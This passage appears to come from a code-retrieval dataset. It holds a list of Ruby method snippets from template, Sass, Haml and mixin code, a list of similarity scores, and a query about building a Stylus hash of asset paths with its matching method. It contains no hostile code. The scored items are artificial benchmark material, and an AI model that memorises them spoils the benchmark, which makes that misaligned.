\" +\n get_content(@ideologyKey, \"ideology\") +\n \"\\n\\n\" + get_content(@emphasis, \"emphasis\") +\n\tif @geography != \"Other\" \n\t\"\\n\\n\" + get_content(@geography, \"geography\") \n\tend \n else \n\t \"\\n\\n\" + get_content('Intro', 'component') + \" \" +\n\t get_content(@emphasis, \"emphasis\") +\n\t if @geography != \"Other\" \n\t \"\\n\\n\" + get_content(@geography, \"geography\") \t\t \n\t end +\n\t \"\\n\\n\" + get_content(@ideologyKey, \"ideology\")\n end \t\nend", "def body_content\n call_block\n end", "def call(template)\n compiled = \"builder = Marble.new;\" +\n \"builder.build { |marble| #{template.source} }.\"\n \n if template.formats.include?(:yaml)\n compiled += 'to_yaml'\n elsif template.formats.include?(:json)\n compiled += 'to_json'\n else\n compiled += 'to_s'\n end\n \n compiled\n end", "def body\n @raw\n end", "def body\n @body ||= begin\n body = \"\"\n while chunk = readpartial\n body << chunk\n end\n body\n end\n end", "def extension_prefix\n mixin? ? '@mixin ' : '%'\n end", "def formatted_body\n code_blocks = _get_code_blocks(self.body)\n red_clothed = RedCloth.new(body.gsub(REGEX, '${code_block}')).to_html\n\n code_blocks.each { |c|\n c = Syntaxi.new(c).process\n red_clothed.sub!(/\\$\\{code_block\\}/, c)\n }\n\n red_clothed\n end", "def general_info\n return <<HERE\n Manuscript Title: #{self.title}<br />\n Manuscript Type: #{self.manuscript_type.name}<br />\n Main Subject Category: #{self.article_section.article_section_name}<br />\n Manuscript Counts<br />\n Pages: #{self.num_pages}<br />\n References: #{self.num_refs}<br />\n Tables: #{self.num_tables}<br />\n Figures: #{self.num_figures}<br />\n Supplemental Materials: #{self.num_suppl_mtrls}<br />\n Co-Authors: #{self.coauthors.count}<br />\nHERE\n end", "def to_s # {{{\n c = wrap( self.content.to_s.chomp )\n t = wrap( self.title.to_s.chomp )\n\n<<EOS\n|^\\___________________ [ #{self.source.to_s } ] _________________________________/^|\n\n\\t'#{t}'\n\n\\t#{c}\n\n|/^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\\|\n\nEOS\n end", "def purchase(item)\n \"thank you for visiting supermarket and buying #{item}!\" # this will overwrite the mixin above\n end", "def purchase(item)\n \"thank you for visiting supermarket and buying #{item}!\" # this will overwrite the mixin above\n end", "def add_mixin(mixin)\n unless mixin\n raise Occi::Core::Errors::MandatoryArgumentError,\n 'Cannot add a non-existent mixin'\n end\n\n # TODO: handle adding actions\n mixins << mixin\n reset_added_attributes\n end", "def body_of(splits)\n (splits.empty?) ? '' : partial_instruction_of(splits)\n end", "def transforming_body_expr; end", "def mix\n #future code\n end", "def to_s\n body\n end", "def prep_with_mixins(hpricot, opts={})\n raise ArgumentError unless article = opts[:article] || @article\n component_count, aggregate_length = 0, 0\n # each_child_with_index are first-level elements within .article.\n hpricot.each_child_with_index do |child, i|\n if child.elem?\n # IMPORTANT: the following digest code cannot change, else it will mess up associations\n # It should also be set before modifications to the entire element, like class, id, inner_html...\n paragraph_id, paragraph_hash = paragraph_id_and_hash_for(child, opts) unless opts[:truncate] || opts[:without_comps]\n child.set_attribute('class', opts[:class] || 'articleContent')\n unless opts[:truncate] || opts[:without_comps]\n child.set_attribute('id', paragraph_id)\n # The following WAS necessary to make highlighting of paragraph render above previous paragraphs\n # but we are not highlighting paragraphs anymore.\n # child.set_attribute('style', \"z-index: #{50 - i/2};\")\n if aggregate_length > 1400 && child.name == 'p' && comp = article_components_for(article)[component_count] \n child.inner_html = render_article_component(article, comp) + child.inner_html\n aggregate_length = child.inner_text.mb_chars.length\n component_count += 1\n else\n aggregate_length += child.inner_text.mb_chars.length\n end\n create_comment_mixin(child, paragraph_id, paragraph_hash) unless %w(pre).include?(child.name) || child.inner_text.mb_chars.length < 150\n end\n end\n end\n end", "def sass_mixin\n sass_backtrace.first[:mixin]\n end", "def assemble\n out = \"\"\n\n if @locals.size > 0\n out << \"var \" + @locals.join(', ') + \";\\n\"\n end\n\n out + @code.join\n end", "def inspect\n \"#<#{self.class.name} @body=\\\"#{self.body}\\\">\"\n end", "def inspect\n str = \"#<#{self.class} source=#{source.inspect}\"\n str << \" generated=#{generated}, original=#{original}\"\n str << \" name=#{name.inspect}\" if name\n str << \">\"\n str\n end", "def to_s\n text = \"\"\n text << self.header\n @body.each do |section|\n text << section\n end\n text << self.footer\n\n #return\n text\n end", "def body(opts = {}, &block)\n build_main_component :body, opts, &block\n end", "def build_body(user, friend_1, friend_2, keywords, images)\n # Make a copy of the template body\n body = self.body\n\n # Substitute user name\n body.gsub!(PT_USER_KEYWORD, \"<strong>#{user}</strong>\")\n\n # Substitute friend names\n body.gsub!(PT_FRIEND_1_KEYWORD, \"<strong>#{friend_1}</strong>\")\n body.gsub!(PT_FRIEND_2_KEYWORD, \"<strong>#{friend_2}</strong>\")\n\n # Substitute the remaining keywords from the hash\n keywords.each do |key, value|\n value = value.pluralize if key =~ /PLURAL/\n body.gsub!(key, \"<strong>#{value}</strong>\")\n end\n\n # Substitute the image keywords from the hash\n images.each do |key, value|\n body.gsub!(key, value)\n end\n\n # TODO: validate no keywords left\n return body\n end", "def dsl_sprites(&block)\n dsl(&block).sprites\n end", "def assemble_to_string\n #put the strings at the end of the assembled code.\n # adding them will fix their position and make them assemble after\n @string_table.values.each do |data|\n add_block data\n end\n io = StringIO.new\n assemble(io)\n io.string\n end", "def build_verbatim margin\n verbatim = super\n\n verbatim.format = :ruby if @section == 'Examples'\n\n verbatim\n end", "def mixin?\n !!@options[:mixin]\n end", "def get_mixin_data_for_org(mixin, org=nil)\n base = @yaml.organizations.first[1]\n get_mixin_data_for_level(base, mixin)\n end", "def view_layouts_base_body_bottom(context={})\n html = \"\"\n html << stylesheet_link_tag('htmlmacro.css', :plugin => 'redmine_html_macro')\n html << javascript_include_tag('markdown-it.min.js', :plugin => 'redmine_html_macro')\n # html << stylesheet_link_tag('/redmine/plugin_assets/redmine_html_macro/stylesheets/htmlmacro.css')\n # html << javascript_include_tag('/redmine/plugin_assets/redmine_html_macro/javascripts/markdown-it.min.js')\n html << stylesheet_link_tag(Setting.plugin_redmine_html_macro['css_url'])\n html << javascript_include_tag(Setting.plugin_redmine_html_macro['js_url'])\n # html\n # html << javascript_tag(\"mermaid.initialize({startOnLoad:true});var mermaidInitialized = 1;\")\n return html\n end", "def precompiled_with_ambles(local_names)\n preamble = <<END.gsub(\"\\n\", \";\")\nbegin\nextend Haml::Helpers\n_hamlout = @haml_buffer = Haml::Buffer.new(haml_buffer, #{options.for_buffer.inspect})\n_erbout = _hamlout.buffer\n@output_buffer = output_buffer ||= ActionView::OutputBuffer.new rescue nil\nEND\n postamble = <<END.gsub(\"\\n\", \";\")\n#{precompiled_method_return_value}\nensure\n@haml_buffer = @haml_buffer.upper if @haml_buffer\nend\nEND\n preamble + locals_code(local_names) + precompiled + postamble\n end", "def mixins_js\n Dir[src_path.join('mixins', '**', '*.js').to_s]\n end", "def magic_mixin(mod)\n # Add the passed module to the inherits_from class variable\n inherits_from = nil\n begin\n inherits_from = self.class_variable_get(\"@@inherits_from\")\n rescue NameError\n inherits_from ||= []\n end\n inherits_from << mod.to_sym\n self.class_variable_set(:@@inherits_from,inherits_from)\n \n # Do the actually class extension using class_exec\n self.class_exec do\n # Grab the module name from the last entry of inherits_from\n # class variable. This is done because class_exec doesn't\n # include the calling methods local variables.\n @@current_mod = @@inherits_from.last\n @@current_mod.to_s.classify.constantize.extend_class(self)\n end\n end", "def transpile\n code = String.new(\" \")\n code << \"$#{body['name']} = \" if body['name']\n code << function_call(function, format_args(body))\n code << \"\\n\"\n end", "def build_load_func\n return_string = \"\"\n return_string << @onload_func[:head]\n return_string << to_javascript\n return_string << map_onload_func_body\n return_string << @onload_func[:tail]\n end", "def to_s\n pad_field :body\n recalc_block_len\n super\n end", "def replace_mixin(old_mixin, new_mixin)\n # TODO: handle replacing actions\n remove_mixin old_mixin\n add_mixin new_mixin\n end", "def to_s\n self.header + ' ' + @body.join(\"\\n \") + self.footer\n end", "def assemble_template body_file\n body = body_file.read\n return body if body =~ /<html/\n\n head_file = @template_dir + '_head.rhtml'\n footer_file = @template_dir + '_footer.rhtml'\n\n <<-TEMPLATE\n<!DOCTYPE html>\n\n<html>\n<head>\n#{head_file.read}\n\n#{body}\n\n#{footer_file.read}\n TEMPLATE\n end", "def to_s\n text = \"#{keyword} #{base}\"\n text << \"\\n\" + block.to_s.split(\"\\n\").collect { |line| \" #{line}\" }.join(\"\\n\") if block\n\n text\n end", "def precompiled_with_ambles(local_names)\n preamble = <<END.gsub(\"\\n\", \";\")\nbegin\nextend Haml::Helpers\n_hamlout = @haml_buffer = Haml::Buffer.new(@haml_buffer, #{options_for_buffer.inspect})\n_erbout = _hamlout.buffer\n__in_erb_template = true\nEND\n postamble = <<END.gsub(\"\\n\", \";\")\n#{precompiled_method_return_value}\nensure\n@haml_buffer = @haml_buffer.upper\nend\nEND\n preamble + locals_code(local_names) + precompiled + postamble\n end", "def process_mixins\n controller = @tracker.controllers[@current_class]\n\n controller[:includes].each do |i|\n mixin = @tracker.libs[i]\n\n next unless mixin\n\n #Process methods in alphabetical order for consistency\n methods = mixin[:public].keys.map { |n| n.to_s }.sort.map { |n| n.to_sym }\n\n methods.each do |name|\n #Need to process the method like it was in a controller in order\n #to get the renders set\n processor = Brakeman::ControllerProcessor.new(@app_tree, @tracker)\n method = mixin[:public][name][:src].deep_clone\n\n if node_type? method, :methdef\n method = processor.process_defn method\n else\n #Should be a methdef, but this will catch other cases\n method = processor.process method\n end\n\n #Then process it like any other method in the controller\n process method\n end\n end\n end", "def itemsWithMagazines _args\n \"itemsWithMagazines _args;\" \n end", "def render_block(block)\n block.map do |prop, value|\n render_property prop, value\n end.join('')\n end", "def build!\n @_appended = false\n if @_crafted\n yield\n @_appended = true\n nil\n else\n begin\n @_crafted = Tools.create_stream(self)\n yield\n @_crafted.render\n ensure\n @_crafted = nil\n end\n end\n end", "def to_s\n \":asset_packager_compatibility, '#{integration.base_relative_path(@asset_packager_yml_file)}'\"\n end", "def to_s\n [\n \"def new\",\n Frontier::RubyRenderer.new(action_contents.join(\"\\n\")).render(1),\n \"end\"\n ].join(\"\\n\")\n end", "def register_mixin(target_class,field,mod,options)\n mixin_registry[target_class][field.to_s] = [:single, mod, options]\n end", "def transforming_body_expr=(_); end", "def cooked_body\n raw_body.preprocess\n end", "def extension_strategy\n mixin? ? '@include ' : '@extend %'\n end", "def to_source\n (['.block'] + collect{|e| e.to_source} + ['.bend']).flatten\n end", "def calculate_body\n\t\tbody = @character_class.body(@experience.level)\n\t\tbody += @race.body\n\n\t\treturn body\n\tend", "def source mold\n\t\tret = comment(mold.name)\n\n\t\tret << \"#import \\\"#{mold.name}.h\\\"\\n\"\n\t\tret << import(mold) #get all the needed imports\n\t\t#ret << \"@interface #{mold.name} {\\n\\n}\\n\\n\"\n\t\tret << \"@implementation #{mold.name}\\n\"\n\n\t\t#synthesize all of the properties in the .h file automatically\n\t\tunless mold.properties.empty?\n\t\t\tret << \"@synthesize \"\n\t\t\tmold.properties.each { |p| ret << p.name + \", \" }\n\t\t\t#remove the last two characters from the string\n\t\t\tret.chop!.chop!\n\t\tend\n\n\t\t#create the internal wiring electrician, use him to write out the mapping function\n\t\telectrician = Wire_Internal.new mold.properties\n\t\tret << electrician.write\n\n\t\tret << coding(mold)\n\n\t\tret << \"\\n\\n@end\"\n\tend" ]
[ "0.59575987", "0.5882066", "0.5737601", "0.56425184", "0.5620741", "0.5512886", "0.5392681", "0.5277109", "0.52173066", "0.5085455", "0.50521475", "0.5029077", "0.500078", "0.49996826", "0.49738535", "0.49738535", "0.49738535", "0.49738535", "0.49738535", "0.49738535", "0.49738535", "0.49738535", "0.49738535", "0.49738535", "0.49738535", "0.49738535", "0.49738535", "0.49738535", "0.49738535", "0.49738535", "0.49557713", "0.494881", "0.49338204", "0.49198425", "0.4895405", "0.48721087", "0.48594227", "0.48458913", "0.48438874", "0.4819031", "0.47938457", "0.4792288", "0.47914568", "0.47890586", "0.47645175", "0.4750963", "0.47402406", "0.47386768", "0.4722299", "0.47187", "0.47104803", "0.46940345", "0.4693532", "0.46908736", "0.46845135", "0.46818477", "0.46818477", "0.46715957", "0.46703094", "0.46661487", "0.46623015", "0.46517378", "0.4651559", "0.46492365", "0.46415967", "0.46352378", "0.4634799", "0.4626912", "0.4626161", "0.46158525", "0.460963", "0.46084592", "0.4604494", "0.4602432", "0.45933893", "0.45893076", "0.45891058", "0.45888957", "0.45538673", "0.4548245", "0.4546177", "0.4536725", "0.45363885", "0.4536357", "0.4536183", "0.45360598", "0.45312348", "0.45259735", "0.4525746", "0.45244813", "0.45240685", "0.45178613", "0.45173106", "0.45140916", "0.45122424", "0.4508837", "0.45071036", "0.4503498", "0.45016217", "0.44931862" ]
0.7738047
0
Internal: Construct Hash with absolute/relative paths in stylus syntax. Returns string representations of hash in Stylus syntax
def assets_hash(scope) @assets_hash ||= scope.environment.each_logical_path.each_with_object({ :url => '', :path => '' }) do |logical_path, assets_hash| extensions = EXCLUDED_EXTENSIONS.join('|') unless File.extname(logical_path) =~ Regexp.new("^(\.(#{extensions})|)$") path_to_asset = scope.path_to_asset(logical_path) assets_hash[:url] << "('#{logical_path}' url(\"#{path_to_asset}\")) " assets_hash[:path] << "('#{logical_path}' \"#{path_to_asset}\") " end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def build_css(style_hash)\n q = ''\n q << style_hash.collect { |k, v|\n if not v.empty?\n q2 = ( k =~ /\\./ ? ( k[-1..-1] == '.' ? \"#{k[0..-2]}\" : \"#{k}\" ) : \"##{k}\" )\n q2 << ' {' << v.collect{| k2, v2 | \" #{k2}: #{v2}\" }.join( ';' ) << ' }'\n q2\n end\n }.join(\"\\n\")\n return q\n end", "def hash\n [fully_qualified_rel,\n tmpl.pattern,\n templated?].hash\n end", "def key(sass_dirname, sass_basename)\n dir = Digest::SHA1.hexdigest(sass_dirname)\n filename = \"#{sass_basename}c\"\n \"#{dir}/#{filename}\"\n end", "def path(style = self.default)\n path = self.attached? ? @path.clone : @missing.clone\n path.gsub!(/:name/, name.to_s)\n path.gsub!(/:style/, style.to_s)\n path.gsub!(/:extension/, extension(style).to_s)\n path.gsub!(/:identifier/, identifier(style).to_s)\n return path\n end", "def path(style_name = reflection.default_style)\n interpolate_path(style_name)\n end", "def hash\n [alignment, cap_style, dash_style, join_style, style, sketch_type, begin_arrow_head, end_arrow_head, custom_dash_pattern, fill_format, miter_limit, width].hash\n end", "def stylesheet hash = 'home'\n hash = {:id => hash} if hash.is_a? String\n hash.update :action => 'stylesheet', :format => 'css', :trailing_slash => false\n home(hash)\n end", "def hash\n [fully_qualified_rel,\n raw_href,\n templated?].hash\n end", "def hash\n path.hash\n end", "def hash\n [fully_qualified_rel, raw_href, templated?].hash\n end", "def stylesheet_path(source, options = T.unsafe(nil)); end", "def path_to(hash = T.unsafe(nil)); end", "def hash\n @relative_name.hash\n end", "def hash\n [link, font, built_in, next_paragraph_style_name, base_style_name, is_quick_style, linked_style_name, type, is_heading, aliases, style_identifier, name].hash\n end", "def path(style_name = default_style)\n path = original_filename.nil? ? nil : interpolate(path_option, style_name)\n path.respond_to?(:unescape) ? path.unescape : path\n end", "def path_to_stylesheet(source, options = T.unsafe(nil)); end", "def generate_format_hash(classname, property, resourcePath)\n map = {}\n resourcePath.scan(/\\{([^}]*)\\}/) { |name, etc|\n if (name.match(/^#{classname}.*/i) and !is_static_method(property))\n map[name] = 'this.getId()'\n else\n map[name] = validate_property_name(name)\n end\n }\n map\n end", "def sass_file_url; end", "def to_css chain = :desc, css = []\n self.traverse :branch do |path, node|\n properties = node.inject(\"\") do |s, (k, v)| \n v.is_a?(String) ? (s + \"#{k}: #{CGI.unescape(v)}; \") : s # Add the property to the list\n end\n css << path * ( chain == :desc ? ' ' : ' > ') + \" { \" + properties + \"}\" # Add the rule-set to the CSS\n end\n css.join \"\\n\"\n end", "def relative_path(path)\n\t\tSass::Script::String.new(File.join(File.expand_path(Dir.pwd), path.value))\n\tend", "def hash\n @path.hash\n end", "def key(uri, options={})\n [self.class.name + \":fontcustom:\" + File.dirname(File.expand_path(uri)), File.basename(uri)]\n end", "def hash\n [text, font_name, font_size, bold, italic, color, width, height, top, left, rotation_angle, transparency, background, image, auto_align].hash\n end", "def css_path; end", "def css_path; end", "def hash\n [self_uri, alternate_links, accent1, accent2, accent3, accent4, accent5, accent6, dark1, dark2, followed_hyperlink, hyperlink, light1, light2].hash\n end", "def hash(sexp, level)\n \"$hash(#{sexp.map { |p| process p, :expression }.join ', '})\"\n end", "def hash\n\t\t\t@path.hash\n\t\tend", "def path\n return nil if self.hash_string.blank?\n File.join(*self.hash_string.scan(/(.)(.)(.*)/).flatten)\n end", "def normalize_paths\n new_sass = \"\"\n sass.each_line do |line|\n line = SassLine.new(@epub, self, line)\n line.normalize_paths if line.has_path?\n new_sass += \"#{line.to_s}\\n\"\n end\n\n self.sass = new_sass\n end", "def to_hash\n Hash[ formats.map{ |f| [f, path(f)] } ].merge(filename: filename_without_extension)\n end", "def sass_generate_source_map(engine); end", "def build_mixin_body(scope)\n @mixin_body ||= if assets_hash(scope).values.all? {|value| value != '' }\n <<-STYL\nasset-url(key)\n return pair[1] if pair[0] == key for pair in #{assets_hash(scope)[:url]} ()\nasset-path(key)\n return pair[1] if pair[0] == key for pair in #{assets_hash(scope)[:path]} ()\n STYL\n else\n ''\n end\n end", "def hash_key(style_name = default_style)\n raise ArgumentError, \"Unable to generate hash without :hash_secret\" unless @options[:hash_secret]\n\n require \"openssl\" unless defined?(OpenSSL)\n data = interpolate(@options[:hash_data], style_name)\n OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@options[:hash_digest]).new, @options[:hash_secret], data)\n end", "def paths\n Hash[ (formats + self.class::VERSION_FORMATS.keys).map{ |f| [f, path(f)] } ]\n end", "def hash\n return (path + file_id.to_s).hash\n end", "def sass_embedded_generate_source_map(source_map); end", "def paths\n @paths ||= [STYLESHEETS_PATH]\n end", "def to_hash\n {\n border: border.to_s,\n colour: colour_to_hash,\n parent: parent_to_hash,\n position: position_to_hash,\n style: style.to_s,\n value: value,\n }\n end", "def digest\n @digest ||= begin\n Digest::SHA1.hexdigest \"defaults-#{NilavuStylesheets.last_file_updated}\"\n end\n end", "def to_uri(f, prefix, path)\n fn = (prefix + f.gsub(path, '')).squeeze('/')\n\n # Switch the extension ('x.sass' => 'x.css')\n file_ext = File.extname(fn).to_s[1..-1]\n out_ext = AssetPack.tilt_formats[file_ext]\n\n fn = fn.gsub(/\\.#{file_ext}$/, \".#{out_ext}\") if file_ext && out_ext\n\n fn\n end", "def hashStyleTag(style_tag, doc)\n style_tag.content = @css_minifier.compress(style_tag.content)\n csp_digest = \"'sha256-#{Digest::SHA256.base64digest(style_tag.content)}'\"\n style_tag.add_previous_sibling(\"<!-- #{csp_digest} -->\")\n\n if @csp_hashes.key?(doc.url)\n @csp_hashes[doc.url] = @csp_hashes[doc.url] + ' ' + csp_digest\n else\n @csp_hashes[doc.url] = csp_digest\n end\n end", "def hash\n [self_uri, alternate_links, name, width, height, alternative_text, alternative_text_title, hidden, x, y, z_order_position, fill_format, effect_format, three_d_format, line_format, hyperlink_click, hyperlink_mouse_over, type, is_object_icon, substitute_picture_title, substitute_picture_format, object_name, embedded_file_base64_data, embedded_file_extension, object_prog_id, link_path, update_automatic].hash\n end", "def to_s\n \"#<FlexHash #{name} \" + ai(sort_keys: true) + '>'\n end", "def path(style_name = default_style)\n original_filename\n end", "def render_hash(hsh)\n str = \"\"\n indiff_hsh = hsh.with_indifferent_access\n indiff_hsh.keys.sort.each do |key|\n str << \"#{key}: \"\n value = indiff_hsh[key]\n PP::pp(value, str)\n end\n str\n end", "def make_urls(pretty_hash)\n pretty_hash.map do |hash|\n URLS[:akab].sub('#property_id#', hash[:property_id].to_s) \\\n .sub('#product_version#', hash[:production_version].to_s)\n end\n end", "def to_hash\n {\n repository: repository,\n resource_hash: resource_hash, # location of cookbook manifest in S3\n metadata: ::JSON.dump(metadata), # pass as opaque JSON blob\n pos: pos\n }\n end", "def hash\n [rel, href].hash\n end", "def css_for(hash)\n unless hash.blank?\n css = []\n\n hash.each do |selector, attributes|\n unless attributes.blank?\n guts = []\n attributes.each do |key, val|\n guts << \"#{ key } : #{ val };\"\n end\n unless guts.blank?\n css << \"#{ selector } { #{ guts.join(' ') } }\"\n end\n end\n end\n\n unless css.empty?\n css.join(\"\\n\")\n end\n end\n end", "def sym_to_css(sym)\n sym.to_sym.to_s.gsub('_', '-')\n end", "def to_s\n css = \"#{@name} {\\n\"\n @properties.each_pair { |k, v| css += \" #{k}: #{v};\\n\" }\n css += \"}\\n\\n\"\n @children.each { |c| css += c.to_s }\n css\n end", "def sassify(input); end", "def hash\n [self_uri, alternate_links, name, width, height, alternative_text, alternative_text_title, hidden, x, y, z_order_position, fill_format, effect_format, three_d_format, line_format, hyperlink_click, hyperlink_mouse_over, type].hash\n end", "def stamp_styles\n x = []\n style.each_pair do |key, value|\n x << \"#{key}=\\\"#{value}\\\"\"\n end\n x.join ' '\n end", "def construct_hash(path, line)\n host = Socket.gethostname\n \n {\n :source_path => path,\n :line => line,\n :source_host => host,\n :timestamp => Time.now.utc.iso8601(6),\n :source => Addressable::URI.new(:scheme => 'file', :host => host, :path => path),\n :type => '',\n :fields => {},\n :tags => []\n }\n end", "def file_urls\n return { :original => file.url(:original) } unless image?\n file.styles.keys.inject({}){ |hash, style| hash.merge!(style => file.url(style)) }\n end", "def compass(hash={})\n\t\t$_TAGHASH_['GSj'] = String.new\n\tend", "def inspect\n #N Without this output, we won't know what class it belongs to or what the relative path and file content hash is\n return \"RelativePathWithHash[#{relativePath}, #{hash}]\"\n end", "def to_hash\n result = super\n result[:path] = @path\n result[:source_type] = :local_path\n result\n end", "def to_s(*args)\n @to_s ||= (style == :compressed ? super().strip : super())\n rescue Sass::SyntaxError => e\n e.add_backtrace_entry(@filename)\n raise e\n end", "def asset_digest_path(path, options = T.unsafe(nil)); end", "def asset_digest_path(path, options = T.unsafe(nil)); end", "def to_s\n each_with_object([]) do |(name, value), array|\n if value.is_a?(Component::Attr)\n # Flatten nested hashs and inject them unless empty\n value = value.to_s\n array << value unless value.empty?\n else\n name = [@prefix, name].compact.join(\"-\").gsub(/[\\W_]+/, \"-\")\n array << %(#{name}=\"#{value}\") unless value.nil?\n end\n end.sort.join(\" \")\n end", "def paths\n {\n :homepage => '/',\n :people => '/people',\n :work => '/work',\n :labs => '/labs',\n :\"find-us\" => '/find-us',\n :\"pebbles-good-code\" => '/pebbles-good-code'\n }\nend", "def hash\n [format, text_compression, embed_full_fonts, compliance, sufficient_resolution, jpeg_quality, draw_slides_frame, show_hidden_slides, save_metafiles_as_png, password, embed_true_type_fonts_for_ascii, additional_common_font_families, notes_position, comments_position, comments_area_width, comments_area_color, show_comments_by_no_author, image_transparent_color, apply_image_transparent].hash\n end", "def hash\n str = [major, minor, patch].map do |str|\n str ? str : \"0\"\n end.join(\".\")\n\n if pre\n str = \"#{str}.#{pre}\"\n end\n\n str.hash\n end", "def hash_by_uri\n @hash_by_uri ||= begin\n result = {}\n flatten_hierarchy.each do |c|\n result[c.uri.to_s]=c\n end\n result\n end\n end", "def url(style = self.default)\n path = self.path(style)\n host = self.host\n host = self.aliases[path.hash % self.aliases.count] unless self.aliases.empty?\n return \"#{host}#{path}\"\n end", "def hash(attachment = nil, style_name = nil)\n if attachment && style_name\n attachment.hash_key(style_name)\n else\n super()\n end\n end", "def to_hash\n\t\t\thash = { :layout=> {}, :paint => {} }\n\n\t\t\t# Assign key/values to correct place\n\t\t\t@kv.each do |k,v|\n\t\t\t\ts = k.to_s.gsub('_','-')\n\t\t\t\tif s.include?('-color') && v.is_a?(Integer) then v = \"#%06x\" % v end\n\t\t\t\tif v.respond_to?(:encode) then v=v.encode end\n\n\t\t\t\tif LAYOUT.include?(k)\n\t\t\t\t\thash[:layout][s]=v\n\t\t\t\t\tset_type_from s\n\t\t\t\telsif PAINT.include?(k)\n\t\t\t\t\thash[:paint][s]=v\n\t\t\t\t\tset_type_from s\n\t\t\t\telsif TOP_LEVEL.include?(k) || HIDDEN.include?(k)\n\t\t\t\t\thash[s]=v\n\t\t\t\telse raise \"#{s} isn't a recognised layer attribute\"\n\t\t\t\tend\n\t\t\tend\n\n\t\t\thash['type'] = @type\n\t\t\tif @condition then hash['filter'] = @condition.encode end\n\n\t\t\t# Convert zoom level\n\t\t\tif (v=hash['zoom'])\n\t\t\t\thash['minzoom'] = v.is_a?(Range) ? v.first : v\n\t\t\t\thash['maxzoom'] = v.is_a?(Range) ? v.last : v\n\t\t\t\thash.delete('zoom')\n\t\t\tend\n\n\t\t\t# See if we can reuse an earlier layer's properties\n\t\t\tmk = ref_key(hash)\n\t\t\tif stylesheet.refs[mk]\n\t\t\t\tREF_PROPERTIES.each { |k| hash.delete(k) }\n\t\t\t\thash['ref'] = stylesheet.refs[mk]\n\t\t\telse\n\t\t\t\tstylesheet.refs[mk] = hash['id']\n\t\t\tend\n\n\t\t\tif hash[:layout].empty? && hash[:paint].empty?\n\t\t\t\tnil\n\t\t\telse\n\t\t\t\thash.delete(:layout) if hash[:layout].empty?\n\t\t\t\thash.delete(:paint) if hash[:paint].empty?\n\t\t\t\thash\n\t\t\tend\n\t\tend", "def create_attrs hash\n r = hash.map { |k,v| \"#{k}=\\\"#{escape_attr v.to_s}\\\"\" }.join(' ')\n \" #{r}\" unless r.empty?\n end", "def to_s\n \":asset_packager_compatibility, '#{integration.base_relative_path(@asset_packager_yml_file)}'\"\n end", "def hash\n [type, back_color, fore_color, style].hash\n end", "def hash\n [file_info, output_path, encoding, recognize_lists, leading_spaces, trailing_spaces, enable_pagination].hash\n end", "def raw(path)\n details = ASSETS.fetch(path)\n create_fullpath(path, details[:md5], hashless: details[:hashless])\n rescue KeyError\n \"/#{path}\"\n end", "def starter_stylesheet\n {\n :header => [:bold, :yellow],\n :add => [:bold, :green],\n :remove => [:bold, :red],\n :range => [:bold, :magenta],\n :trailing_whitespace => [:background, :red]\n }\n end", "def image_hash(path, width, height)\n {\n 'path' => path,\n 'basename' => File.basename(path),\n 'filename' => File.basename(path, '.*'),\n 'extension' => File.extname(path).delete('.'),\n 'width' => width,\n 'height' => height,\n }\n end", "def full_key(relative_key)\n \"#{@root}/#{relative_key}\"\n end", "def digest_key(digest)\n \"asset-uri-digest:#{compressed_path}:#{digest}\"\n end", "def hash\n raw = [name, type, values.join('/')].join(' ')\n Digest::MD5.hexdigest(raw)\n end", "def to_s(style = nil)\n case style\n when :unique then\n if latest_in_unit?\n \"#{id}_#{name}\"\n else\n \"#{id}_#{name}-#{version}\"\n end\n when :version then \"#{name}-#{version}\"\n when :pretty then display_name\n when :pretty_with_version then \"#{self.to_s(:pretty)} (#{version})\"\n when :plist_path then \"pkginfo/#{self.to_s(:unique)}.plist\"\n when :download_filename then \"#{name}-#{version}#{extension}\"\n else name\n end\n end", "def styles\n @styles ||= Hash.new{ |h, k| h[k] = {} }\n end", "def to_sass\n if string_interpolation?\n interpolation_node(@value)\n else\n node(::Sass::Script::Tree::Literal.new(::Sass::Script::Value::String.new(@value, :string)), line)\n end\n end", "def ps_hash(obj, depth = 0)\n if [true, false].include? obj\n %{$#{obj}} # Return $true or $false when value is a bool\n elsif obj.is_a?(Hash)\n obj.map do |k, v|\n # Format \"Key = Value\" enabling recursion\n %{#{pad(depth + 2)}#{ps_hash(k)} = #{ps_hash(v, depth + 2)}}\n end\n .join(\"\\n\") # append \\n to the key/value definitions\n .insert(0, \"@{\\n\") # prepend @{\\n\n .insert(-1, \"\\n#{pad(depth)}}\\n\") # append \\n}\\n\n\n elsif obj.is_a?(Array)\n array_string = obj.map { |v| ps_hash(v, depth + 4) }.join(\",\")\n \"#{pad(depth)}@(\\n#{array_string}\\n)\"\n else\n # When the object is not a string nor a hash or array, it will be quoted as a string.\n # In most cases, PS is smart enough to convert back to the type it needs.\n \"'\" + obj.to_s + \"'\"\n end\n end", "def hash\n [background_pattern_color, foreground_pattern_color, texture].hash\n end", "def sp_resources_txt\n sp_resources_txt = ''\n sp_resources = Hash.new\n mini_map_cells.each do |cell|\n if not cell.sp_resource.blank? and sp_resources[cell.sp_resource.symbol].blank?\n sp_resources[cell.sp_resource.symbol] = cell.sp_resource.name\n sp_resources_txt += cell.sp_resource.name\n sp_resources_txt += ','\n end\n end\n sp_resources_txt.chop! if sp_resources_txt.last == ','\n return sp_resources_txt\n end", "def url_to_stylesheet(source, options = T.unsafe(nil)); end", "def inspect\n \"Teacup::Stylesheet[#{name.inspect}] = #{@styles.inspect}\"\n end", "def get_hash(path=\"\")\n Element.get_hash(@element, path)\n end", "def IconKNEELING(hash={}); icon_parse(' GH ', hash); end", "def to_css\n css = '('\n css << resolved_name\n css << ': ' << resolved_value unless resolved_value.empty?\n css << ')'\n css\n end", "def escape_path_for_cache_key(path)\n path.gsub(\" \", \"+\")\n end", "def url_for(style)\n reprocess_for(style)\n file.url(style)\n end", "def hash\n [range_start_index, range_end_index, fallback_font_list].hash\n end", "def hash\n [self_uri, alternate_links, index, orientation, size, type, shape].hash\n end", "def css_path\n path.split(/\\//).map { |part|\n part.length == 0 ? nil : part.gsub(/\\[(\\d+)\\]/, ':nth-of-type(\\1)')\n }.compact.join(\" > \")\n end", "def to_hash\n { \"path_to\" => @path_to,\n \"url\" => @url,\n \"subrepos\" => @subrepos.each(&:path_to),\n \"isHead\" => @is_head,\n }\n end", "def to_sass(dir)\n # Holds all the if/else statements.\n conditions = []\n conditions << if_statement(@set[0], 